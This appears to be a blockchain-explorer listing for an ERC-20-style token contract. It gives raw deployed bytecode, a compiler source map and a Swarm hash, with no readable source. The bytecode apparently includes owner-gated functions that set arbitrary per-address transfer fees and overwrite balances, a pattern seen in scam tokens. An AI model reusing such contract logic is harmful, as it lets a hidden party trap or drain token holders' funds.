b600a6020528060005260406000206000915090505481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610823576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081a9061179d565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006001905060003373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108f05760016108f3565b60095b60ff1690506000600382610907919061171d565b905080915060028161091991906118f0565b6008546103e8610929919061193b565b610933919061193b565b8360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600190506000600290506000600390506000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a64578383610a5f919061171d565b610a71565b8183610a70919061197d565b5b905060008282610a81919061171d565b9050600185610a90919061171d565b81610a9b919061197d565b915060005b8751811015610b30578183610ab5919061171d565b87610ac0919061197d565b600a60008a8481518110610ad757610ad66119b1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080610b28906119e0565b915050610aa0565b5050505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60058054610b70906116bd565b80601f0160208091040260200160405190810160405280929190818152602001828054610b9c906116bd565b8015610be95780601f10610bbe57610100808354040283529160200191610be9565b820191906000526020600020905b815481529060010190602001808311610bcc57829003601f168201915b505050505081565b6000610bfe338484610d7a565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d6d9190611334565b60405180910390a3505050565b6000600960149054906101000a900460ff16158015610de35750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610e395750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e86919061171d565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600081156110455760006064600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485610f20919061193b565b610f2a9190611a57565b90508082610f38919061197d565b91506000811115611043578060016000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fb4919061197d565b92505081905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161103a9190611334565b60405180910390a35b505b8083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611091919061197d565b61109b919061171d565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386611139919061171d565b6040516111469190611334565b60405180910390a35050505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561118f578082015181840152602081019050611174565b60008484015250505050565b6000601f19601f8301169050919050565b60006111b782611155565b6111c18185611160565b93506111d1818560208601611171565b6111da8161119b565b840191505092915050565b600060208201905081810360008301526111ff81846111ac565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006112468261121b565b9050919050565b6112568161123b565b811461126157600080fd5b50565b6000813590506112738161124d565b92915050565b6000819050919050565b61128c81611279565b811461129757600080fd5b50565b6000813590506112a981611283565b92915050565b600080604083850312156112c6576112c5611211565b5b60006112d485828601611264565b92505060206112e58582860161129a565b9150509250929050565b60008115159050919050565b611304816112ef565b82525050565b600060208201905061131f60008301846112fb565b92915050565b61132e81611279565b82525050565b60006020820190506113496000830184611325565b92915050565b60008060006060848603121561136857611367611211565b5b600061137686828701611264565b935050602061138786828701611264565b92505060406113988682870161129a565b9150509250925092565b600060ff82169050919050565b6113b8816113a2565b82525050565b60006020820190506113d360008301846113af565b92915050565b6000602082840312156113ef576113ee611211565b5b60006113fd84828501611264565b91505092915050565b61140f8161123b565b82525050565b600060208201905061142a6000830184611406565b92915050565b6000819050919050565b600061145561145061144b8461121b565b611430565b61121b565b9050919050565b60006114678261143a565b9050919050565b60006114798261145c565b9050919050565b6114898161146e565b82525050565b60006020820190506114a46000830184611480565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6114e78261119b565b810181811067ffffffffffffffff82111715611506576115056114af565b5b80604052505050565b6000611519611207565b905061152582826114de565b919050565b600067ffffffffffffffff821115611545576115446114af565b5b602082029050602081019050919050565b600080fd5b600061156e6115698461152a565b61150f565b9050808382526020820190506020840283018581111561159157611590611556565b5b835b818110156115ba57806115a68882611264565b845260208401935050602081019050611593565b5050509392505050565b600082601f8301126115d9576115d86114aa565b5b81356115e984826020860161155b565b91505092915050565b6000806040838503121561160957611608611211565b5b600083013567ffffffffffffffff81111561162757611626611216565b5b611633858286016115c4565b92505060206116448582860161129a565b9150509250929050565b6000806040838503121561166557611664611211565b5b600061167385828601611264565b925050602061168485828601611264565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806116d557607f821691505b6020821081036116e8576116e761168e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061172882611279565b915061173383611279565b925082820390508181111561174b5761174a6116ee565b5b92915050565b7f216f776e65720000000000000000000000000000000000000000000000000000600082015250565b6000611787600683611160565b915061179282611751565b602082019050919050565b600060208201905081810360008301526117b68161177a565b9050919050565b60008160011c9050919050565b6000808291508390505b6001851115611814578086048111156117f0576117ef6116ee565b5b60018516156117ff5780820291505b808102905061180d856117bd565b94506117d4565b94509492505050565b60008261182d57600190506118e9565b8161183b57600090506118e9565b8160018114611851576002811461185b5761188a565b60019150506118e9565b60ff84111561186d5761186c6116ee565b5b8360020a915084821115611884576118836116ee565b5b506118e9565b5060208310610133831016604e8410600b84101617156118bf5782820a9050838111156118ba576118b96116ee565b5b6118e9565b6118cc84848460016117ca565b925090508184048111156118e3576118e26116ee565b5b81810290505b9392505050565b60006118fb82611279565b9150611906836113a2565b92506119337fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461181d565b905092915050565b600061194682611279565b915061195183611279565b925082820261195f81611279565b91508282048414831517611976576119756116ee565b5b5092915050565b600061198882611279565b915061199383611279565b92508282019050808211156119ab576119aa6116ee565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006119eb82611279565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611a1d57611a1c6116ee565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611a6282611279565b9150611a6d83611279565b925082611a7d57611a7c611a28565b5b82820490509291505056fea2646970667358221220415eca2b7c39149480a3ced7dc8a68ef499b1aaf6c16a20ddb6788ef1699213d64736f6c63430008120033

Deployed Bytecode Sourcemap

1038:4023:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1388:18;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4407:124;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1512:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4537:327;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1707:23;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1434:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1456:49;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1651:46;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1362:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;916:113;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1737:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3779:260;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1539:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4047:94;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3344:421;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;744:63;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1407:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4147:130;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4283:118;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1388:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4407:124::-;4473:4;4480:37;4489:10;4501:7;4510:6;4480:8;:37::i;:::-;4525:4;4518:11;;4407:124;;;;:::o;1512:26::-;;;;:::o;4537:327::-;4626:4;4643:36;4653:6;4661:9;4672:6;4643:9;:36::i;:::-;1642:1;1633:11;4694;:19;4706:6;4694:19;;;;;;;;;;;;;;;:31;4714:10;4694:31;;;;;;;;;;;;;;;;:38;4690:145;;4817:6;4783:11;:19;4795:6;4783:19;;;;;;;;;;;;;;;:31;4803:10;4783:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;4749:11;:19;4761:6;4749:19;;;;;;;;;;;;;;;:31;4769:10;4749:31;;;;;;;;;;;;;;;:74;;;;4690:145;4852:4;4845:11;;4537:327;;;;;:::o;1707:23::-;;;;:::o;1434:21::-;;;;;;;;;;;;;:::o;1456:49::-;;;;;;;;;;;;;;;;;;;;;;:::o;1651:46::-;;;;;;;;;;;;;;;;;:::o;1362:25::-;;;;;;;;;;;;;:::o;916:113::-;863:10;853:20;;:6;;;;;;;;;;:20;;;845:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;1013:8:::1;1004:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;916:113:::0;:::o;1737:27::-;;;;;;;;;;;;;:::o;3779:260::-;3833:44;3880:9;3833:56;;3900:9;3926:10;3912:24;;:10;;;;;;;;;;;:24;;;:34;;3943:3;3912:34;;;3939:1;3912:34;3900:46;;;;3957:9;3973:1;3969;:5;;;;:::i;:::-;3957:17;;3979:1;3975:5;;4030:1;4027;:4;;;;:::i;:::-;4015:11;;4010:4;:16;;;;:::i;:::-;:21;;;;:::i;:::-;3991:10;:16;4002:4;3991:16;;;;;;;;;;;;;;;:40;;;;3822:217;;;3779:260;:::o;1539:36::-;;;;;;;;;;;;;:::o;4047:94::-;4104:7;4121:9;:18;4131:7;4121:18;;;;;;;;;;;;;;;;4114:25;;4047:94;;;:::o;3344:421::-;3421:10;3434:4;3421:17;;3449:10;3462:4;3449:17;;3477:10;3490:4;3477:17;;3505:10;3533;;;;;;;;;;;3519:24;;:10;:24;;;:44;;3561:2;3556;:7;;;;:::i;:::-;3519:44;;;3551:2;3546;:7;;;;:::i;:::-;3519:44;3505:59;;3575:10;3593:2;3588;:7;;;;:::i;:::-;3575:20;;3622:4;3617:2;:9;;;;:::i;:::-;3611:2;:16;;;;:::i;:::-;3606:21;;3643:11;3638:120;3668:4;:11;3662:3;:17;3638:120;;;3743:2;3738;:7;;;;:::i;:::-;3727;:19;;;;:::i;:::-;3703:10;:21;3714:4;3719:3;3714:9;;;;;;;;:::i;:::-;;;;;;;;3703:21;;;;;;;;;;;;;;;:43;;;;3681:5;;;;;:::i;:::-;;;;3638:120;;;;3410:355;;;;;3344:421;;:::o;744:63::-;782:7;799:6;;;;;;;;;;;792:13;;744:63;:::o;1407:20::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4147:130::-;4216:4;4223:40;4233:10;4245:9;4256:6;4223:9;:40::i;:::-;4271:4;4264:11;;4147:130;;;;:::o;4283:118::-;4355:7;4372:11;:18;4384:5;4372:18;;;;;;;;;;;;;;;:27;4391:7;4372:27;;;;;;;;;;;;;;;;4365:34;;4283:118;;;;:::o;4872:151::-;4977:6;4947:11;:18;4959:5;4947:18;;;;;;;;;;;;;;;:27;4966:7;4947:27;;;;;;;;;;;;;;;:36;;;;5005:7;4989:32;;4998:5;4989:32;;;5014:6;4989:32;;;;;;:::i;:::-;;;;;;;;4872:151;;;:::o;1773:702::-;1853:20;1877:6;;;;;;;;;;;1876:7;:35;;;;;1888:17;:23;1906:4;1888:23;;;;;;;;;;;;;;;;;;;;;;;;;1887:24;1876:35;:61;;;;;1916:17;:21;1934:2;1916:21;;;;;;;;;;;;;;;;;;;;;;;;;1915:22;1876:61;1853:84;;1986:6;1968:9;:15;1978:4;1968:15;;;;;;;;;;;;;;;;:24;;;;:::i;:::-;1950:9;:15;1960:4;1950:15;;;;;;;;;;;;;;;:42;;;;2005:18;2038:15;2034:317;;;2070:17;2118:3;2099:10;:16;2110:4;2099:16;;;;;;;;;;;;;;;;2090:6;:25;;;;:::i;:::-;:31;;;;:::i;:::-;2070:51;;2150:9;2136:23;;;;;:::i;:::-;;;2190:1;2178:9;:13;2174:166;;;2245:9;2211;:30;2229:10;;;;;;;;;;;2211:30;;;;;;;;;;;;;;;;:43;;;;;;;:::i;:::-;;;;;;;;2301:10;;;;;;;;;;;2278:46;;2287:4;2278:46;;;2314:9;2278:46;;;;;;:::i;:::-;;;;;;;;2174:166;2055:296;2034:317;2402:10;2393:6;2377:9;:13;2387:2;2377:13;;;;;;;;;;;;;;;;:22;;;;:::i;:::-;:35;;;;:::i;:::-;2361:9;:13;2371:2;2361:13;;;;;;;;;;;;;;;:51;;;;2443:2;2428:39;;2437:4;2428:39;;;2456:10;2447:6;:19;;;;:::i;:::-;2428:39;;;;;;:::i;:::-;;;;;;;;1840:635;;1773:702;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1349:75::-;1382:6;1415:2;1409:9;1399:19;;1349:75;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:60::-;5568:3;5589:5;5582:12;;5540:60;;;:::o;5606:142::-;5656:9;5689:53;5707:34;5716:24;5734:5;5716:24;:::i;:::-;5707:34;:::i;:::-;5689:53;:::i;:::-;5676:66;;5606:142;;;:::o;5754:126::-;5804:9;5837:37;5868:5;5837:37;:::i;:::-;5824:50;;5754:126;;;:::o;5886:147::-;5957:9;5990:37;6021:5;5990:37;:::i;:::-;5977:50;;5886:147;;;:::o;6039:173::-;6147:58;6199:5;6147:58;:::i;:::-;6142:3;6135:71;6039:173;;:::o;6218:264::-;6332:4;6370:2;6359:9;6355:18;6347:26;;6383:92;6472:1;6461:9;6457:17;6448:6;6383:92;:::i;:::-;6218:264;;;;:::o;6488:117::-;6597:1;6594;6587:12;6611:180;6659:77;6656:1;6649:88;6756:4;6753:1;6746:15;6780:4;6777:1;6770:15;6797:281;6880:27;6902:4;6880:27;:::i;:::-;6872:6;6868:40;7010:6;6998:10;6995:22;6974:18;6962:10;6959:34;6956:62;6953:88;;;7021:18;;:::i;:::-;6953:88;7061:10;7057:2;7050:22;6840:238;6797:281;;:::o;7084:129::-;7118:6;7145:20;;:::i;:::-;7135:30;;7174:33;7202:4;7194:6;7174:33;:::i;:::-;7084:129;;;:::o;7219:311::-;7296:4;7386:18;7378:6;7375:30;7372:56;;;7408:18;;:::i;:::-;7372:56;7458:4;7450:6;7446:17;7438:25;;7518:4;7512;7508:15;7500:23;;7219:311;;;:::o;7536:117::-;7645:1;7642;7635:12;7676:710;7772:5;7797:81;7813:64;7870:6;7813:64;:::i;:::-;7797:81;:::i;:::-;7788:90;;7898:5;7927:6;7920:5;7913:21;7961:4;7954:5;7950:16;7943:23;;8014:4;8006:6;8002:17;7994:6;7990:30;8043:3;8035:6;8032:15;8029:122;;;8062:79;;:::i;:::-;8029:122;8177:6;8160:220;8194:6;8189:3;8186:15;8160:220;;;8269:3;8298:37;8331:3;8319:10;8298:37;:::i;:::-;8293:3;8286:50;8365:4;8360:3;8356:14;8349:21;;8236:144;8220:4;8215:3;8211:14;8204:21;;8160:220;;;8164:21;7778:608;;7676:710;;;;;:::o;8409:370::-;8480:5;8529:3;8522:4;8514:6;8510:17;8506:27;8496:122;;8537:79;;:::i;:::-;8496:122;8654:6;8641:20;8679:94;8769:3;8761:6;8754:4;8746:6;8742:17;8679:94;:::i;:::-;8670:103;;8486:293;8409:370;;;;:::o;8785:684::-;8878:6;8886;8935:2;8923:9;8914:7;8910:23;8906:32;8903:119;;;8941:79;;:::i;:::-;8903:119;9089:1;9078:9;9074:17;9061:31;9119:18;9111:6;9108:30;9105:117;;;9141:79;;:::i;:::-;9105:117;9246:78;9316:7;9307:6;9296:9;9292:22;9246:78;:::i;:::-;9236:88;;9032:302;9373:2;9399:53;9444:7;9435:6;9424:9;9420:22;9399:53;:::i;:::-;9389:63;;9344:118;8785:684;;;;;:::o;9475:474::-;9543:6;9551;9600:2;9588:9;9579:7;9575:23;9571:32;9568:119;;;9606:79;;:::i;:::-;9568:119;9726:1;9751:53;9796:7;9787:6;9776:9;9772:22;9751:53;:::i;:::-;9741:63;;9697:117;9853:2;9879:53;9924:7;9915:6;9904:9;9900:22;9879:53;:::i;:::-;9869:63;;9824:118;9475:474;;;;;:::o;9955:180::-;10003:77;10000:1;9993:88;10100:4;10097:1;10090:15;10124:4;10121:1;10114:15;10141:320;10185:6;10222:1;10216:4;10212:12;10202:22;;10269:1;10263:4;10259:12;10290:18;10280:81;;10346:4;10338:6;10334:17;10324:27;;10280:81;10408:2;10400:6;10397:14;10377:18;10374:38;10371:84;;10427:18;;:::i;:::-;10371:84;10192:269;10141:320;;;:::o;10467:180::-;10515:77;10512:1;10505:88;10612:4;10609:1;10602:15;10636:4;10633:1;10626:15;10653:194;10693:4;10713:20;10731:1;10713:20;:::i;:::-;10708:25;;10747:20;10765:1;10747:20;:::i;:::-;10742:25;;10791:1;10788;10784:9;10776:17;;10815:1;10809:4;10806:11;10803:37;;;10820:18;;:::i;:::-;10803:37;10653:194;;;;:::o;10853:156::-;10993:8;10989:1;10981:6;10977:14;10970:32;10853:156;:::o;11015:365::-;11157:3;11178:66;11242:1;11237:3;11178:66;:::i;:::-;11171:73;;11253:93;11342:3;11253:93;:::i;:::-;11371:2;11366:3;11362:12;11355:19;;11015:365;;;:::o;11386:419::-;11552:4;11590:2;11579:9;11575:18;11567:26;;11639:9;11633:4;11629:20;11625:1;11614:9;11610:17;11603:47;11667:131;11793:4;11667:131;:::i;:::-;11659:139;;11386:419;;;:::o;11811:102::-;11853:8;11900:5;11897:1;11893:13;11872:34;;11811:102;;;:::o;11919:848::-;11980:5;11987:4;12011:6;12002:15;;12035:5;12026:14;;12049:712;12070:1;12060:8;12057:15;12049:712;;;12165:4;12160:3;12156:14;12150:4;12147:24;12144:50;;;12174:18;;:::i;:::-;12144:50;12224:1;12214:8;12210:16;12207:451;;;12639:4;12632:5;12628:16;12619:25;;12207:451;12689:4;12683;12679:15;12671:23;;12719:32;12742:8;12719:32;:::i;:::-;12707:44;;12049:712;;;11919:848;;;;;;;:::o;12773:1073::-;12827:5;13018:8;13008:40;;13039:1;13030:10;;13041:5;;13008:40;13067:4;13057:36;;13084:1;13075:10;;13086:5;;13057:36;13153:4;13201:1;13196:27;;;;13237:1;13232:191;;;;13146:277;;13196:27;13214:1;13205:10;;13216:5;;;13232:191;13277:3;13267:8;13264:17;13261:43;;;13284:18;;:::i;:::-;13261:43;13333:8;13330:1;13326:16;13317:25;;13368:3;13361:5;13358:14;13355:40;;;13375:18;;:::i;:::-;13355:40;13408:5;;;13146:277;;13532:2;13522:8;13519:16;13513:3;13507:4;13504:13;13500:36;13482:2;13472:8;13469:16;13464:2;13458:4;13455:12;13451:35;13435:111;13432:246;;;13588:8;13582:4;13578:19;13569:28;;13623:3;13616:5;13613:14;13610:40;;;13630:18;;:::i;:::-;13610:40;13663:5;;13432:246;13703:42;13741:3;13731:8;13725:4;13722:1;13703:42;:::i;:::-;13688:57;;;;13777:4;13772:3;13768:14;13761:5;13758:25;13755:51;;;13786:18;;:::i;:::-;13755:51;13835:4;13828:5;13824:16;13815:25;;12773:1073;;;;;;:::o;13852:281::-;13910:5;13934:23;13952:4;13934:23;:::i;:::-;13926:31;;13978:25;13994:8;13978:25;:::i;:::-;13966:37;;14022:104;14059:66;14049:8;14043:4;14022:104;:::i;:::-;14013:113;;13852:281;;;;:::o;14139:410::-;14179:7;14202:20;14220:1;14202:20;:::i;:::-;14197:25;;14236:20;14254:1;14236:20;:::i;:::-;14231:25;;14291:1;14288;14284:9;14313:30;14331:11;14313:30;:::i;:::-;14302:41;;14492:1;14483:7;14479:15;14476:1;14473:22;14453:1;14446:9;14426:83;14403:139;;14522:18;;:::i;:::-;14403:139;14187:362;14139:410;;;;:::o;14555:191::-;14595:3;14614:20;14632:1;14614:20;:::i;:::-;14609:25;;14648:20;14666:1;14648:20;:::i;:::-;14643:25;;14691:1;14688;14684:9;14677:16;;14712:3;14709:1;14706:10;14703:36;;;14719:18;;:::i;:::-;14703:36;14555:191;;;;:::o;14752:180::-;14800:77;14797:1;14790:88;14897:4;14894:1;14887:15;14921:4;14918:1;14911:15;14938:233;14977:3;15000:24;15018:5;15000:24;:::i;:::-;14991:33;;15046:66;15039:5;15036:77;15033:103;;15116:18;;:::i;:::-;15033:103;15163:1;15156:5;15152:13;15145:20;;14938:233;;;:::o;15177:180::-;15225:77;15222:1;15215:88;15322:4;15319:1;15312:15;15346:4;15343:1;15336:15;15363:185;15403:1;15420:20;15438:1;15420:20;:::i;:::-;15415:25;;15454:20;15472:1;15454:20;:::i;:::-;15449:25;;15493:1;15483:35;;15498:18;;:::i;:::-;15483:35;15540:1;15537;15533:9;15528:14;;15363:185;;;;:::o

Swarm Source

ipfs://415eca2b7c39149480a3ced7dc8a68ef499b1aaf6c16a20ddb6788ef1699213d
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.